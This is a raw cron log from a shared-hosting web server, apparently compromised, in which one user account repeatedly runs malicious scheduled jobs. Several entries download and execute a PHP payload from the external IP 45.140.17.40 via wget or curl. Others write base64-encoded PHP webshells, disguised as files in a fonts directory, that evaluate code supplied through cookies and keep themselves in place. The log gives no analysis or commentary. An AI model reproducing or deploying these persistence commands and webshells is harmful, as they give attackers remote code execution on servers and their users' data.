Sep  1 22:08:01 ip-184-168-122-23 CROND[31424]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:08:01 ip-184-168-122-23 CROND[31426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:08:01 ip-184-168-122-23 CROND[31428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:08:01 ip-184-168-122-23 CROND[31429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:08:01 ip-184-168-122-23 CROND[31427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:09:01 ip-184-168-122-23 CROND[31511]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:09:01 ip-184-168-122-23 CROND[31513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:09:01 ip-184-168-122-23 CROND[31515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:09:01 ip-184-168-122-23 CROND[31514]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 22:09:01 ip-184-168-122-23 CROND[31516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:10:01 ip-184-168-122-23 CROND[31614]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 22:10:01 ip-184-168-122-23 CROND[31617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:10:01 ip-184-168-122-23 CROND[31618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:10:01 ip-184-168-122-23 CROND[31619]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 22:10:01 ip-184-168-122-23 CROND[31620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:10:01 ip-184-168-122-23 CROND[31624]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 22:10:01 ip-184-168-122-23 CROND[31623]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:10:01 ip-184-168-122-23 CROND[31621]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:11:01 ip-184-168-122-23 CROND[31728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:11:01 ip-184-168-122-23 CROND[31730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:11:01 ip-184-168-122-23 CROND[31732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:11:01 ip-184-168-122-23 CROND[31731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:12:01 ip-184-168-122-23 CROND[31904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:12:01 ip-184-168-122-23 CROND[31907]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:12:01 ip-184-168-122-23 CROND[31906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:12:01 ip-184-168-122-23 CROND[31909]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:12:01 ip-184-168-122-23 CROND[31912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:13:01 ip-184-168-122-23 CROND[32006]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:13:01 ip-184-168-122-23 CROND[32008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:13:01 ip-184-168-122-23 CROND[32010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:13:01 ip-184-168-122-23 CROND[32009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:14:01 ip-184-168-122-23 CROND[32096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:14:01 ip-184-168-122-23 CROND[32097]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:14:01 ip-184-168-122-23 CROND[32098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:14:01 ip-184-168-122-23 CROND[32100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:14:01 ip-184-168-122-23 CROND[32099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:15:01 ip-184-168-122-23 CROND[32186]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 22:15:01 ip-184-168-122-23 CROND[32187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:15:01 ip-184-168-122-23 CROND[32189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:15:01 ip-184-168-122-23 CROND[32191]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  1 22:15:01 ip-184-168-122-23 CROND[32192]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 22:15:01 ip-184-168-122-23 CROND[32195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:15:01 ip-184-168-122-23 CROND[32197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:16:01 ip-184-168-122-23 CROND[32281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:16:01 ip-184-168-122-23 CROND[32282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:16:01 ip-184-168-122-23 CROND[32285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:16:01 ip-184-168-122-23 CROND[32288]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:16:01 ip-184-168-122-23 CROND[32286]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 22:16:01 ip-184-168-122-23 CROND[32289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:17:01 ip-184-168-122-23 CROND[32370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:17:01 ip-184-168-122-23 CROND[32372]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:17:01 ip-184-168-122-23 CROND[32373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:17:01 ip-184-168-122-23 CROND[32374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:18:01 ip-184-168-122-23 CROND[32451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:18:01 ip-184-168-122-23 CROND[32454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:18:01 ip-184-168-122-23 CROND[32455]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:18:01 ip-184-168-122-23 CROND[32453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:18:01 ip-184-168-122-23 CROND[32457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:19:01 ip-184-168-122-23 CROND[32547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:19:01 ip-184-168-122-23 CROND[32550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:19:01 ip-184-168-122-23 CROND[32548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:19:01 ip-184-168-122-23 CROND[32549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:20:01 ip-184-168-122-23 CROND[32713]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
